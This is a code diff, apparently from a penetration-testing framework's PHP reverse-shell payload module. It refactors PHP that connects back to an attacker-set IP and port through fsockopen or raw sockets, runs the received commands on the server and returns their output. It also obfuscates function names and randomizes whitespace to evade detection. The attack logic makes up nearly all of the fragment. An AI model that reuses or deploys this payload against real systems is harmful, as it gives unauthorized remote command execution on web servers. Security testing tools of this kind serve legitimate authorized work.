if(is_callable($f.$s.$o.$c.$k.$o.$p.$e.$n)and!in_array($f.$s.$o.$c.$k.$o.$p.$e.$n,$disabled)){ - $sock=fsockopen($ipaddr,$port); - while($cmd=fread($sock,2048)){ - $output=myexec(substr($cmd,0,-1)); - if($output===false){ - fwrite($sock,$nofuncs); + #{php_preamble({:disabled_varname => "$dis"})} + + if(!function_exists('myexec')){function myexec($c){ + global$dis; + #{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})} + return$o; + }} + $nofuncs='no exec functions'; + if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ + $s=fsockopen($ipaddr,$port); + while($c=fread($s,2048)){ + $out=myexec(substr($c,0,-1)); + if($out===false){ + fwrite($s,$nofuncs); break; } - fwrite($sock,$output); + fwrite($s,$out); } - fclose($sock); + fclose($s); }else{ - $sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); - socket_connect($sock,$ipaddr,$port); - while($cmd=socket_read($sock,2048)){ - $output=myexec(substr($cmd,0,-1)); - if($output===false){ - socket_write($sock,$nofuncs); + $s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); + socket_connect($s,$ipaddr,$port); + socket_write($s,"socket_create"); + while($c=socket_read($s,2048)){ + $out=myexec(substr($c,0,-1)); + if($out===false){ + socket_write($s,$nofuncs); break; } - socket_write($sock,$output,strlen($output)); + socket_write($s,$out,strlen($out)); } - socket_close($sock); + socket_close($s); } END_OF_PHP_CODE # randomize the spaces a bit - shell.gsub!(/\s+/) { |s| - len = rand(5)+2 - set = "\x09\x20\x0a" - buf = '' - - while (buf.length < len) - buf << set[rand(set.length)].chr - end - - buf - } + Rex::Text.randomize_space(shell) return shell end @@ -194,7 +119,6 @@ module ReversePhp return super + php_reverse_shell end - end end end end end